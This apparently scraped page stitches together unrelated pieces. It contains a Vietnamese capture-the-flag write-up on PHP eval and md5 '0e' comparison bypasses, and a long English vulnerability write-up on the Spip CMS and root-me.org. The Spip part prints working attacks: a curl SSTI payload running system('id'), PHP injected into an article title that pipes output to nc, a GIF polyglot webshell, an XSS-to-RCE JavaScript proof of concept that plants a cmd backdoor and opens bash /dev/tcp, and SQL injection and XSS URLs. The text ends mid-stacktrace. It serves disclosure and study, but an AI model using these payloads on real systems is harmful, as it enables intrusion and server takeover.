Php-eval-console

Php-eval-console

Giao diện và source được cho sẵn

1
2

3.PNG

Và nhớ đọc thêm cái này..

Với bài này mình, mình sẽ dùng cách 2, cách một thức nhất mình chả ưa cái xor gì đấy, thực chất vì mình noob nó, cái thứ 2 trong payload khi encode có kí tự alphabet nen bị reject.

Đặc biệt trong bài này mình muốn các bạn thực sự hiểu và thực sự build payload, bài này dùng khá nhiều cho mai sau nên xin hãy tự làm nó

Mình xin nói hướng làm của mình là in inject malicious code như sau :

SYSTEM(STRTOLOWER(LS -LA)) ** Mình sợ rằng .passwd chứa trong folder khác nên cứ show ra xem thử !!!

Mình phãi dùng func STRTOLOWER vì theo cách payload thực thi thì nó chỉ trả về giá trị in hoa mà command LS thì đâu được đâu, nên cần chuyển vì kí tự thường LS -> ls đó các bạn.

Đây là code chung chung của mình, các bạn chỉ nên tham khảo và tự code lại .

Và một lưu ý rằng, khi inject code các bạn nhớ encode nó thì mới exec được =.=

Với đoạn code SYSTEM(STRTOLOWER(LS -LA)) ta được:

4.PNG

Tiếp theo mình chỉ việc cat file .passwd thuôi SYSTEM(STRTOLOWER(CAT .PASSWD))

5.PNG

4



Php-eval-console

Tránh gây nhàm chán với SQL, mình xin mạn phép lượn nhẹ qua một challenge khác nói về một chút lỗi so sánh cho PHP mang tên Ở TRÊN TỰA. Đầu tiên xin mời các bạn đọc vài trang tài liệu kinh điển về thể loại này =)

1

Màn dạo đầu cho ta 2 trường input và đặc biệt public cho ta hẵn source code, cho thì xem thuôi, vào xem source thử seoooo !!

2

Không có gì nhiều ngoài chức năng, tạo ra một chuỗi md5,một chuỗi random với 2 param input vào và đặc biệt tại

3.PNG

Thì với điều kiện khi $s nối với $r nếu bằng $h thì sẽ output ra flag . Điều đáng nói ở đây là symbol “==” . Đây chính là mấu chốt của zụ án, nếu các bạn đã đọc tài liệu ở trên thì ắc hẵn sự khác biệt giữa == và === . Nó làm cho câu so sánh trở nên lỏng lẻo, dễ bị bypass bởi một số trick. Sau khi đọc tài liệu, các bạn có thể tìm kiếm thêm google để biết một số trick khác . Quay trở lại bài, mục tiêu ở đây ta cần tìm ra một chuỗi md5 gồm 2 kí tự đầu là 0e và chuỗi đằng sau là chuỗi số. Để mình giải thích cho các bạn lí do.

0e trong php có thể được hiểu như 0 mũ. Ví dụ 0e3 tức sẽ là 0 mũ 3 . Và kết quả sẽ bằng 0, do đó và ta sẽ input vào param seed kí tự 0e. biến $r sẽ random tạo ra một chuỗi số ngẫu nhiên và ắc hẵn khi chuỗi số xxxxxxxxx nối với 0e sẽ bằng 0. Giải quyết xong vế trái, giờ đến vế phải, ta cần tìm mỗi chuỗi md5 có format như sau 0exxxxxxxxx . Với x chỉ là số, thì 0exxxxxxxx cũng sẽ bằng 0. Thỏa mãn 2 vế đều bằng 0, kết quả sẽ có được flag. Mình ví dụ cho các bạn dễ hình dung bên dưới

5
6

Giờ các bạn đã hình dung được mình phãi tìm thứ gì. Mình cần tìm một chuỗi md5 hợp lệ và ắc hẵn nếu làm tay thì vài thập kĩ sau các bạn sẽ tìm ra. Vậy nên mình sẽ code 1 đoạn python giúp tìm ra chuỗi md5 đấy.

7.PNG

Và oái ăm khi code đã xong mình chạy thì nó báo memory error . Ngồi google tầm dăm ba chục phút thì mới biết rằng Python3 sẽ fix cho lỗi đó. Vì trước đó mình dùng python2.Đậu xanh zâu má. Và các bạn dùng python3 chạy nhé, 1 lời khuyên thì đây là code tham khảo cho sự chay lười của mình. Các bạn nên code thread chạy cho nhanh. Mình đã lười quyết định để đó cho nó tự chạy và rùi đi vô nhà vệ sinh làm điều “AI CŨNG BIẾT” và rồi đi ngủ nhẹ 1 giấc dậy thì thấy kết quả này.

4.PNG

Mình sẽ rất nể phục các bạn nào quyết tâm tìm kiếm chuỗi md5 này bằng tay. Có kết quả, thử fill xem sao nhé !!!

8

Déo dèo deo, đã có flagg sau 1 giấc ngủ dài.

Bài viết này mình viết ngẫu hứng, không giỏi văn phạm câu cú chắc siêu lủng củng nên các bạn bỏ qua. Cảm ơn các bợn ❤ ❤ ❤

q


I’ll keep this line from the first article: Welcome. To. Php.

sparta_php

Содержание
  1. Past research
  2. 2011 — EsSandre
  3. Preauth custom SSTI on icalendar generation
  4. Postauth email content eval
  5. Postauth code injection in MediaBox as a WebMestre
  6. Postauth php file upload // t0
  7. Bonus — DNS Rebinding on the file upload feature // t0
  8. SQLI == RCE
  9. File read == RCE
  10. XSS to RCE
  11. Conclusion & Kudos
  12. Quick disclaimer before we start
  13. Setup the environment
  14. Crawl, Sulfate, Repeat
  15. Triage the findings
  16. XSS
  17. XSS on titre
  18. XSS on label
  19. XSS on size_input
  20. XSS on sinon
  21. XSS on null
  22. XSS on quoi (ie-specific)
  23. Reflected file download
  24. Open redirect
  25. SQL injections
  26. SQL injection on where
  27. SQL injection on lier_trad
  28. Remote Code Execution
  29. XSS on var_profile (ie-specific)
  30. “XSS” on _oups
  31. XSS wise
  32. SQLi wise
  33. Timeline — DD/MM/YYY
  34. Conclusion?
  35. Last words ?
  36. Posts navigation
  37. PHP Eval Console
  38. Table of contents
  39. Installation
  40. Configuration
  41. Evaluators
  42. EvalEvaluator
  43. PhpSandboxEvaluator
  44. Authorizers
  45. IpAuthorizer
  46. Queries callback
  47. TODO
  48. Функции PHP для выполнения произвольного кода
  49. Список функций, принимающих обратные вызовы
  50. Эти функции принимают строковый параметр, который может быть использован для вызова функции по выбору злоумышленника. В зависимости от функции у злоумышленника может быть или не быть возможности передать параметр. В этом случае можно использовать функцию раскрытия информации, например phpinfo().
  51. Большинство из этих вызовов функций не являются уязвимыми. Но, скорее, это может быть уязвимостью, если какие-либо из возвращаемых данных доступны для просмотра злоумышленнику. Если злоумышленник может увидеть phpinfo(), то это определенно уязвимость. 
  52. Функции выполнения произвольных команд

Past research

This list definitely won’t be exhaustive as many issues are silently patched, and there is just too much content to cover it all. Therefore we’ll just focus on a few issues that reflect what can be found. If you want a more detailed list, head out to CVEdetails — Spip!

Deadly and efficient, php code injection in a GET parameter, that is probably reflected later in an eval statement or dynamically generated php file.

No payload to give here, but after a quick chat, the main goal was to deface the site, which was done with an auth bypass and a stored xss.

Yet it’s interesting to know that Orange was (actually is on some subdomains, but shhh) relying on Spip!

2011 — EsSandre

In the first article I wrote about Spip, my last words were something like this:

They basically used the same bug, but extended the base64 payload with injected raw php code. Smart move, works like a charm! 🙂

Preauth custom SSTI on icalendar generation

meme-rce-day

Here’s the final payload, but what? Why? How?

Content of ./spip/prive/ical_prive.html:

<BOUCLE0(AUTEURS){tout}{id_auteur}{lang_select}><?php
if ('[(#ID_AUTEUR|securiser_acces{#ENV{arg},ical})]' OR /* spip < 1.9 */	'[(#ID|securiser_acces{#ENV{cle},ical})]') {
?>#HTTP_HEADER{Content-Type: text/calendar}
#HTTP_HEADER{Content-Disposition: attachment; filename=#NOM_SITE_SPIP|textebrut|replace{\W,'_'}|concat{_prive.ics}}
#CACHE{0}
BEGIN:VCALENDAR
CALSCALE:GREGORIAN
--[SNIP]--
UID:message#ID_MESSAGE @ [(#URL_SITE_SPIP|filtrer_ical)]
DTSTAMP:[(#DATE_HEURE|date_ical)]
DTSTART:[(#DATE_HEURE|date_ical)]
CATEGORIES:<:info_message_2|filtrer_ical:>
URL:[(#URL_ECRIRE*{message, id_message=#ID_MESSAGE})]
<BOUCLE_message_n_a(AUTEURS auteurs_messages){lang_select=non}{id_message}>[(#ID_AUTEUR
|=={#ENV{id_auteur}}|?{ORGANIZER,ATTENDEE})]:[(#NOM|filtrer_ical)][ <(#EMAIL|filtrer_ical)>]
</BOUCLE_message_n_a>END:VTODO</BOUCLE_message_n>
<?php	if ('#0:STATUT' == '0minirezo') { // Injection here
?><BOUCLE_forum(FORUMS?){par date}{inverse}{tout}{statut="prop"}>
--[SNIP]--
--[SNIP]--
<?php
if ('[(#ID_AUTEUR|securiser_acces{#ENV{arg},ical})]' OR '[(#ID|securiser_acces{#ENV{cle},ical})]') {	if (''=='foo'){ echo(42); }
} else { system('id');
};
if(false){if('foo' == '0minirezo') {
--[SNIP]--

What can be seen here is that this injection is powerful enough so we can bypass the securiser_acces check by closing the initial if statement and appending our payload after all the security checks failed!

curl -gsk "http://127.0.0.1/spip.php?page=ical_prive&statut=%27%3D%3D%27foo%27%29%7Becho%2842%29%3B%7D%3B%7Delse%7Bsystem%28%27id%27%29%3B%7D%3Bif%28false%29%7Bif%28%27foo" | grep uid=
# }?></BOUCLE0><BOUCLE0(AUTEURS){tout}{id_auteur}{lang_select}>uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),998(docker)

I’m not sure about its current exploitability, the Spip team says it’s safe now, I took their word and did not spend more time on it.

Postauth email content eval

This one is quite easy to trigger, but doesn’t work at every try. I’m not really sure why, most likely caching in place, or rate-limit on the number of emails sent.. Might also be related to the job in charge of sending emails, but same here, I did not investigate further.

  1. Login as author
  2. Create section that will contain our article
  3. Create article with the title: <?php system("id | nc 127.0.0.1 8000");?>
  4. Change article status from draft to evaluation
  5. Enjoy your RCE!

It is to note that the RCE might be a blind one depending on your setup, the command result can be sent to your public IP or even received by email! 😀

Fun fact: I knew that Spip really suffers from too many evals, so instead of reading code, I just sent similar payloads all over the place, and used my fork of php that contains builtin introspection, this tool should be made public for Rump In Rennes in October 2022! 😉

It took only a few forms to trigger the eval statement with the unsanitized title and content reflected in the evaled content.

memememe-eval-and-go

Here are the screenshots of the same issue exploited (WITH THEIR CONSENT) on Root-Me!

Initial article creation and status change:

rce1-rootme-payload

Email received for the status change:

rce1-rootme-email

DNS callbacks for the executed payload:

rce1-rootme

Postauth code injection in MediaBox as a WebMestre

meme-rce-webmestre

One more cool trick is that even though this is only reachable as a webmestre, if an attacker is able to read files on the remote server, leaking the site secret key is enough to forge the same payload and submit it with author rights! But it’s patched now, so this was a cool trick.. 😡

Injection point in the MediaBox page:

rce-mediabox

Postauth php file upload // t0

Hey folks! It seems it’s my turn to introduce another RCE here!

Дополнительно:  Ошибка NTFS_FILE_SYSTEM (NTFS.sys) 0x00000024 на синем экране — как исправить

bugs-bunny

There’s an upload functionality available on the Spip panel, and I love to spend time on this kind of feature. So I started to test it and quickly found an XSS when hiding javascript code inside an SVG picture, but hey, this is not enough!

It was possible to upload PHP files as well, but the checks made on the server side were good enough to prevent php execution, and render them as text, so no RCE there. But we saw that it was possible to inject javascript inside an SVG file, so why can’t we try to inject PHP code inside a picture?

Spip accepts SVG, JPEG, GIF and PNG formats. After trying classic techniques, a friend of mine (thanks to Semtex) suggested that I take a look at polyglot files.

Indeed, there are plenty of ways to hide PHP code inside a picture! After finally finding one way to do it successfully on Spip, I was then able to do it using various picture formats generated with multiple techniques.

Let’s introduce the GIF comment extension section which (finally!) leads to an RCE!

gif-jif

One of the GIF89 extension types is the comment extension. This allows you to embed ASCII text in a GIF file, and is sometimes used to include an image description, image credit, or other human-readable metadata such as the GPS location of the image capture.

gif-format

Let’s examine our malicious file’s content:

00000000 47 49 46 38 39 61 01 00 01 00 00 ff 00 2c 00 00 |GIF89a.......,..|
00000010 00 00 01 00 01 00 00 02 00 21 fe 26 3c 3f 70 68 |.........!.&<?ph|
00000020 70 20 73 79 73 74 65 6d 28 24 5f 53 45 52 56 45 |p system($_SERVE|
00000030 52 5b 27 48 54 54 50 5f 54 30 27 5d 29 3b 3f 3e |R['HTTP_T0']);?>|
00000040 00 0a |..|

As double extensions were allowed on Spip, this leads to our Holy Grail!

We first upload our payload at /ecrire/?exec=article_edit&new=oui, and then navigate to /IMG/gif/image.php.gif. All we have to do is to add a custom header t0 with the command to execute on the server.

file-upload

curl http://127.0.0.1/IMG/gif/image.php.gif -H "t0: whoami"
# http

I was able to hide the payload and exploit the vulnerability using PNG with IDAT and PLTS chunks, GIF with comments and global color table, etc.

If you are interested in this kind of exploitation, here are some very nice resources I found:

Bonus — DNS Rebinding on the file upload feature // t0

Sorry if you only want to hear about RCEs, this is not one of them! But it’s still a cool one in my opinion, which can lead to juicy findings depending on the environment used! 🙂

When using the file upload functionality, it is also possible to specify an URL. First thing we want to try in this case is an SSRF. But looking at the source code, there’s a blacklist related to local IPs (127.0.0.1, and addresses within the A/B/C classes). Moreover, the server resolves the URL before checking if it does not belong to one of these classes (function valider_url_distante in ecrire/inc/distant.php):

dns-rebind-code

However, once the check is passed, another request is made to download the file, and this time without any security check left. That’s where the DNS rebinding technique can be used!

its-always-dns

DNS rebinding is an attack in which the attacker initiates repeated DNS queries to a domain under their control.

The first query returns a valid response that passes security checks, while subsequent queries return a malicious response that targets the internal network. Thus, it is possible to initiate a first request pointing to an URL/IP authorized by the application, and then the second to an unauthorized URL/IP.

During the first check, the response points to a public IP address, then when the download is done, it points to 127.0.0.1.

I was first able to exploit it by sending multiple requests to an URL crafted thanks to online DNS rebinding services, then I found a very nice tool to automate the this attack and control the process without external dependencies: dnschef

Git clone it, replace the dnschef.py with this one. Then it’s as easy as this:

while true; do ./dnschef.py --interface <ip_listening_dns_request> --fakedomains <domain_controlled> --fakeip 8.8.8.8 --count 2 ./dnschef.py --interface <ip_listening_dns_request> --fakedomains <domain_controlled> --fakeip 127.0.0.1 --count 2
done

It will resolve 2 times the public IP, then 2 times 127.0.0.1 then public IP again, looping forever.

Small lalu-trick here, if the site uses MySQL without authentication “because it listens on the loopback only”, RCE can be achieved using this DNS debinding to have a mixed-protocol SSRF. It will first push some garbage bytes to MySQL which will whine a bit, but if you have SQL commands surrounded by newline bytes, they will be executed. So it can be used to peek and poke in the database, leading to remote code execution! :}

SQLI == RCE

If you have an SQL injection on Spip, it is enough to:

  1. List the users, find who is the webmestre and the associated email
  2. Use the password reset feature (no bug required)
  3. Use the SQL injection to read the secret code used to verify the reset request
  4. Change the webmestre’s password
  5. Login as a webmestre and upload a new module that includes attacker controlled code

So any SQL has the same impact as a direct RCE.

File read == RCE

Reading files also has a deep and powerful impact.

If the site uses SQLite, as explained earlier, it’s an instant game-over as the attacker can retrieve password reset tokens.

If the site uses a regular SQL database, it’s still possible to read the site secret key and forge evil payloads at many places. I won’t give details here as it’s not something they can really protect against. But if you need it someday, now you know it’s doable! 🙂

XSS to RCE

Any stored XSS that can be triggered without overcomplicated social engineering should also be considered as an “almost direct RCE”.

  1. Store your XSS payload
  2. The XSS payload must:
    1. Verify that only webmestre / admins are targeted
    2. Make the async requests from the webmestre or admin session
    3. Create a new admin user
  3. With the newly acquired admin account, upload a backdoored module

Here is the code I wrote something like 2 years ago to exploit the MediaBox issue through an XSS. The code is a bit messy but it works! 🙂

<!DOCTYPE html>
<html>
<head> <meta charset="UTF-8"> <title>PoC XSS to RCE Spip 3.3-dev</title>
</head>
<body> <script> fetch("ecrire/?exec=configurer_mediabox") .then(res => { return res.text(); }) .then(page => { console.log(page); page = page.replace(/(\r\n|\n|\r)/gm, ""); forms = page.match(/<form.*?<\/form>/g); forms.forEach(form => { if (form.includes('action="/ecrire/?exec=configurer_mediabox"')) { form_configurer_mediabox = form; } console.log(form); }); if (typeof form_configurer_mediabox == 'undefined') { alert("Exploit failed"); } console.log(form_configurer_mediabox); dom = new DOMParser().parseFromString(form_configurer_mediabox, "text/html"); form = new FormData(dom.forms[0]); payload = "\";//<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); }?>"; form.set("splash_width", form.get("splash_width") + payload); fetch("/ecrire/?exec=configurer_mediabox", { method: "POST", body: form }); cmd = "bash -c 'id > /dev/tcp/127.0.0.1/8000'" fetch("/?cmd=" + cmd, {}); // Clean payload here if needed }); </script>
</body>
</html>

Conclusion & Kudos

Now more than ever, I’m confident saying that not all languages are equal toward security.
Especially, languages that mix file system, code, and routing (php, asp, jsp, and others using dynamic reloading). They really seem to offer/expose an extra-wide attack surfaces that developers aren’t aware of.

meme-improve-security

That being said, if you really want or need to keep using php but also require a decent level of security, please consider using Snuffleupagus! It gets rid of whole classes of bugs by patching php’s bytecode at the right places. The performance overhead is low, the security gain high, and reliability really seems to be kept in mind!

Hi there,
This article is about Spip, root-me.org, XSS, SQLi, and Remote Code Execution.
Ever wondered how secure is your daily website ?
Welcome. To. Php.

sparta_php

Quick disclaimer before we start

A few weeks ago, I was trying to make my web-audit processes more efficient, and I stood upon two problems:

  • I tried many crawlers (Photon, Hakrawler, BurpSuite), none gave me the results I expected (false negatives, no js parsing, output format, custom properties, …)
  • Auditing parameter’s security one by one is way too slow, and not exhaustive

So I began coding two tools on my free time: “Crawlz” and “Sulfateuse”. They attempt to solve both of these issues. They are still under heavy development (basically every night since three weeks) and might be open sourced at some point (not anytime soon, no ask, no cry, keep on reading!).

Once I had a working proof of concept, I wanted to test it against a real life target. I learned so much on root-me, and thus I was expecting the framework they use, Spip, to be secure. I had a quick tour on several CVE websites, and found out that they’ve had a few issues, mostly XSS, LFI, SQLi, and RCE. I thought that this has since been audited roughly, so maybe finding an xss would be a good start.

You know what?

buzz_xss

Setup the environment

In order to reproduce my setup, you can clone Spip sources, git or svn (see their recommended way) into the spip directory. Then run docker-compose -f compose-spip.yml up and voila! The only thing left to do is to visit http://lokal/ecrire, create a new account, a dummy category, page, author, etc in order to have some data, and thus be as exhaustive as possible with a populated environment and databases.

Side note here, localhost requests are often made in a way that bypasses proxies. I wanted to log and inspect the traffic, so I added the line 127.0.0.1 lokal in /etc/hosts in order to resolve lokal to my loopback address without localhost bypasses in the way.

version: '3.5'
services: db: image: mysql command: --default-authentication-plugin=mysql_native_password environment: - MYSQL_ROOT_PASSWORD=root ports: - 3306:3306 adminer: image: adminer ports: - 81:8080 spip: image: php:7.2 ports: - 80:80 volumes: - ./spip:/spip working_dir: /spip entrypoint: ["bash", "-c", "apt update && apt install -y default-mysql-client && docker-php-ext-install mysqli && php -S 0.0.0.0:80"]

Crawl, Sulfate, Repeat

Even though “a magician never reveals his secrets”, here are the core steps of my process:

  1. Start the env, launch burp, chromium (with foxy proxy)
  2. Navigate on Spip, click on buttons, submit forms, access pages, …
  3. From burp, extract every visited url with their parameters
  4. Run Crawlz, be as exhaustive as possible (keep even false positives and broken urls)
  5. Triage the urls, remove the odd ones
  6. Add some magic here ¯\_(ツ)_/¯
  7. Run Sulfateuse, (a bit like a custom burp intruder)
  8. Triage all the results !
Дополнительно:  Медленно работает ноутбук, тормозит: причины, что делать, ускоряем

One more side note! I used a previous project WordPress Subpath Auditor to get more insights on Spip and check if some quick-wins were already reachable. I found an eval (powerful primitive for code execution) with partially controlled input, but the sanitization in place (alphanum regex whitelisting) was too restrictive. More on that later!

The tests were ran with the builtin php server php -S 0.0.0.0:80. I was too lazy to setup multi-threading, and speed definitely isn’t the main concern for Spip folks, nor for me. Sulfateuse ran for approx 10 hours, I slept on it, and the next morning was like one of these christmas day!

Triage the findings

As Sulfateuse tries to be as exhaustive as possible, there are a lot of false positive. This is a pain, but this is the cost of awesome findings. So I’m fine with it! 🙂

XSS

A few xss were trivial to find and exploit. Simple or double url-encoded parameters were allowed, thus adding angle brackets was enough to trigger the XSS. Some more complex ones were sanitizing angle brackets, and single or double quotes. Hopefully, breaking an attribute context is often enough to get a working payload!

XSS on titre

http://lokal/ecrire/?exec=rubriques&titre=pouet<a data-hren=err onfocus=alert(domain) autofocus/>
http://lokal/ecrire/?exec=rubriques&titre=pouet%3Ca%20data-hren=err%20onfocus=alert(domain)%20autofocus/%3E

xss_titre

XSS on label

http://lokal/ecrire/?exec=rubriques&label=laluka<a data-hren=err onfocus=alert(domain) autofocus/>
http://lokal/ecrire/?exec=rubriques&label=laluka%3Ca%20data-hren=err%20onfocus=alert(domain)%20autofocus/%3E

xss_label

XSS on size_input

http://lokal/ecrire/?exec=rubriques&size_input=lalu" onfocus=alert(domain) autofocus foo="
http://lokal/ecrire/?exec=rubriques&size_input=lalu%22%20onfocus=alert(domain)%20autofocus%20foo=%22

xss_size_input

XSS on sinon

http://lokal/ecrire/?exec=article&id_article=1&sinon=<a data-hren=err onfocus=alert(domain) autofocus/>
http://lokal/ecrire/?exec=article&id_article=1&sinon=%3Ca%20data-hren=err%20onfocus=alert(domain)%20autofocus/%3E

xss_sinon

XSS on null

This one had more restrictions on the angle brackets, so a style trick and woosh!
The idea here is to have a style to cover the full screen, and execute an action on hover. As soon as the mouse enters the page, it’s a win!

http://lokal/ecrire/?exec=plan&null=lalu' onmouseover=alert(domain) style='width:9999999px;height:9999999px;' foo=
http://lokal/ecrire/?exec=plan&null=lalu%27%20onmouseover=alert(domain)%20style=%27width:9999999px;height:9999999px;%27%20foo=

xss_null

XSS on quoi (ie-specific)

http://localhost:8000/ecrire/?exec=messages&typem=tout&quoi='/>ie_specific_xss<script>alert(domain)</script>'

xss_quoi_ie

phpinfo_session

Reflected file download

TL;DR(RFD): You click that link, and a file has been downloaded to your desktop. A common scenario is to send such a link with a second stage as data. Like RFD + SSRF + webshell can achieve a remote code execution. Or even RFD on a whitelisted domain to permit the download of a LNK file crafted to get code execution.

http://lokal/spip.php?action=converser&redirect=data%253Aimage/svg+xml,content 

reflected_file_download

Open redirect

https://www.root-me.org/spip.php?action=converser&redirect=https%253A//thinkloveshare.com/ 

open_redirect_rootme

SQL injections

TL;DR(SQLi): Exploit a lack of input sanitization to modify the semantic of an SQL request, or execute another one. This can be exploited to leak the whole database, insert custom data, or even execute code. The technologies vary a lot, so it really depends on the language, software, version, os, context, and the character restriction on this specific injection point.

Here, I tried really hard to exploit an INSERT statement but couldn’t find one, only SELECT. I also tried to write to files (webshell) to the filesystem, but MySQL now has a safe by default behavior that kept me from doing so.

Sulfateuse was testing for bad chars, and bad chars include single and double quotes.
Error logging was enabled, quotes were injected, SQL errors were raised. Amen.

SQL injection on where

http://lokal/ecrire/?exec=accueil&where=SQLI_HERE

sqli_where

SQL injection on lier_trad

http://localhost:8000/ecrire/?exec=article_edit&new=oui&id_rubrique=1&lier_trad=%27

sqli_lier_trad

Two backends are supported by Spip: MySQL and SQLite.

Simple sleep in SQLite:

http://lokal/ecrire/?exec=article_edit&lier_trad=1%2BAND%2B10%3DLIKE%280x41%2CUPPER%28HEX%28RANDOMBLOB%28500000000%2F2%29%29%29%29--+
http://lokal/ecrire/?exec=article_edit&lier_trad=1+AND+10=LIKE(0x41,UPPER(HEX(RANDOMBLOB(500000000/2))))-- 

Union based in MySQL:

http://lokal/ecrire/?exec=article_edit&lier_trad=1 AND 1=2 union all select 1,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25;--
http://lokal/ecrire/?exec=article_edit&lier_trad=1+AND+1%3D2%20union%20all%20select%201,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25;--

sqli_lier_trad_poc

Remote Code Execution

During the third run on Spip (improving Sulfateuse day after day), two new XSS were found.
The first one is internet-explorer specific as it doesn’t url-encode bad chars by default. Yuck.

You can check how various characters are encoded here: https://www.worldtimzone.com/res/encode/

XSS on var_profile (ie-specific)

http://lokal/ecrire/?exec=admin_plugin&var_profile=pouet'/><script>alert(document.domain)</script>

xss_var_profile_ie

“XSS” on _oups

This one made me laugh because it affected parameter “_oups”.

https://www.root-me.org/ecrire/?exec=article&id_article=1&_oups=pouet'/><a data-hren=err onfocus=alert(domain) autofocus/>
https://www.root-me.org/ecrire/?exec=article&id_article=1&_oups=pouet%27/%3E%3Ca%20data-hren=err%20onfocus=alert(domain)%20autofocus/%3E

xss_oups

  1. Track the “_oups” parameter, add debug statements
  2. Analyse the generated stacktraces, determine that eval is the sink
    I know this is wayyy too small, text version below..
    stacktrace

    #0 eval() called at [/issue_4494/ecrire/public/evaluer_page.php:55]
    #1 include(/issue_4494/ecrire/public/evaluer_page.php) called at [/issue_4494/ecrire/public/assembler.php:657]
    #2 evaluer_fond(formulaires/editer_liens, Array ([editable] => ,[id] => auteurs-article-1-auteur,[_vue_liee] => auteurs_lies,[_vue_ajout] => auteurs_associer,[_objet_lien] => auteur,[id_lien_ajoute] => ,[objet] => article,[id_objet] => 1,[objet_source] => auteur,[table_source] => auteurs,[recherche] => ,[visible] => 0,[ajouter_lien] => ,[supprimer_lien] => ,[qualifier_lien] => ,[ordonner_lien] => ,[desordonner_liens] => ,[_roles] => ,[_oups] => '<?php debug_print_backtrace();die();?>',[_pipelines] => Array ([formulaire_fond] => Array ([form] => editer_liens,[args] => Array ([0] => auteurs,[1] => article,[2] => 1),[je_suis_poste] => )),[formulaire_args] => z+FJ1rTG/lk75IfPcVqrygiJhj3wixKIFYDVzdNWKSfpyNiJtN8gQpPFZh4QRLr2nrCnZYNK061VIxk9YkVVB9TNlAxClgABPC6zutkBCynE3wP7ew8PXA==,[erreurs] => Array (),[action] => /ecrire/?exec=article&amp;id_article=1&amp;ajouter=non&amp;tri_liste_aut=statut&amp;deplacer=oui&amp;_oups=%27%3C&amp;php%20debug_print_backtrace%28%29%3Bdie%28%29%3B&amp;%3E%27,[form] => editer_liens,[lang] => en), ) called at [/issue_4494/ecrire/inc/utils.php:3258]
    #3 recuperer_fond(formulaires/editer_liens, Array ([editable] => ,[id] => auteurs-article-1-auteur,[_vue_liee] => auteurs_lies,[_vue_ajout] => auteurs_associer,[_objet_lien] => auteur,[id_lien_ajoute] => ,[objet] => article,[id_objet] => 1,[objet_source] => auteur,[table_source] => auteurs,[recherche] => ,[visible] => 0,[ajouter_lien] => ,[supprimer_lien] => ,[qualifier_lien] => ,[ordonner_lien] => ,[desordonner_liens] => ,[_roles] => ,[_oups] => '<?php debug_print_backtrace();die();?>',[_pipelines] => Array ([formulaire_fond] => Array ([form] => editer_liens,[args] => Array ([0] => auteurs,[1] => article,[2] => 1),[je_suis_poste] => )),[formulaire_args] => z+FJ1rTG/lk75IfPcVqrygiJhj3wixKIFYDVzdNWKSfpyNiJtN8gQpPFZh4QRLr2nrCnZYNK061VIxk9YkVVB9TNlAxClgABPC6zutkBCynE3wP7ew8PXA==,[erreurs] => Array (),[action] => /ecrire/?exec=article&amp;id_article=1&amp;ajouter=non&amp;tri_liste_aut=statut&amp;deplacer=oui&amp;_oups=%27%3C&amp;php%20debug_print_backtrace%28%29%3Bdie%28%29%3B&amp;%3E%27,[form] => editer_liens,[lang] => en), Array ([trim] => ,[raw] => 1,[compil] => Array ([0] => ../prive/squelettes/contenu/article.html,[1] => html_f8c6d633acdd97cfce459c6efd74f49a,[2] => _article,[3] => 12,[4] => en))) called at [/issue_4494/ecrire/public/assembler.php:378]
    #4 inclure_balise_dynamique(Array ([0] => formulaires/editer_liens,[1] => 3600,[2] => Array ([editable] => ,[id] => auteurs-article-1-auteur,[_vue_liee] => auteurs_lies,[_vue_ajout] => auteurs_associer,[_objet_lien] => auteur,[id_lien_ajoute] => ,[objet] => article,[id_objet] => 1,[objet_source] => auteur,[table_source] => auteurs,[recherche] => ,[visible] => 0,[ajouter_lien] => ,[supprimer_lien] => ,[qualifier_lien] => ,[ordonner_lien] => ,[desordonner_liens] => ,[_roles] => ,[_oups] => '<?php debug_print_backtrace();die();?>',[_pipelines] => Array ([formulaire_fond] => Array ([form] => editer_liens,[args] => Array ([0] => auteurs,[1] => article,[2] => 1),[je_suis_poste] => )),[formulaire_args] => z+FJ1rTG/lk75IfPcVqrygiJhj3wixKIFYDVzdNWKSfpyNiJtN8gQpPFZh4QRLr2nrCnZYNK061VIxk9YkVVB9TNlAxClgABPC6zutkBCynE3wP7ew8PXA==,[erreurs] => Array (),[action] => /ecrire/?exec=article&amp;id_article=1&amp;ajouter=non&amp;tri_liste_aut=statut&amp;deplacer=oui&amp;_oups=%27%3C&amp;php%20debug_print_backtrace%28%29%3Bdie%28%29%3B&amp;%3E%27,[form] => editer_liens)), 1, Array ([0] => ../prive/squelettes/contenu/article.html,[1] => html_f8c6d633acdd97cfce459c6efd74f49a,[2] => _article,[3] => 12,[4] => en)) called at [/issue_4494/ecrire/public/assembler.php:353]
    #5 inserer_balise_dynamique(Array ([0] => formulaires/editer_liens,[1] => 3600,[2] => Array ([editable] => ,[id] => auteurs-article-1-auteur,[_vue_liee] => auteurs_lies,[_vue_ajout] => auteurs_associer,[_objet_lien] => auteur,[id_lien_ajoute] => ,[objet] => article,[id_objet] => 1,[objet_source] => auteur,[table_source] => auteurs,[recherche] => ,[visible] => 0,[ajouter_lien] => ,[supprimer_lien] => ,[qualifier_lien] => ,[ordonner_lien] => ,[desordonner_liens] => ,[_roles] => ,[_oups] => '<?php debug_print_backtrace();die();?>',[_pipelines] => Array ([formulaire_fond] => Array ([form] => editer_liens,[args] => Array ([0] => auteurs,[1] => article,[2] => 1),[je_suis_poste] => )),[formulaire_args] => z+FJ1rTG/lk75IfPcVqrygiJhj3wixKIFYDVzdNWKSfpyNiJtN8gQpPFZh4QRLr2nrCnZYNK061VIxk9YkVVB9TNlAxClgABPC6zutkBCynE3wP7ew8PXA==,[erreurs] => Array (),[action] => /ecrire/?exec=article&amp;id_article=1&amp;ajouter=non&amp;tri_liste_aut=statut&amp;deplacer=oui&amp;_oups=%27%3C&amp;php%20debug_print_backtrace%28%29%3Bdie%28%29%3B&amp;%3E%27,[form] => editer_liens)), Array ([0] => ../prive/squelettes/contenu/article.html,[1] => html_f8c6d633acdd97cfce459c6efd74f49a,[2] => _article,[3] => 12,[4] => en)) called at [/issue_4494/ecrire/public/evaluer_page.php(55) : eval()'d code:32]
    #6 eval() called at [/issue_4494/ecrire/public/evaluer_page.php:55]
    #7 include(/issue_4494/ecrire/public/evaluer_page.php) called at [/issue_4494/ecrire/public/assembler.php:657]
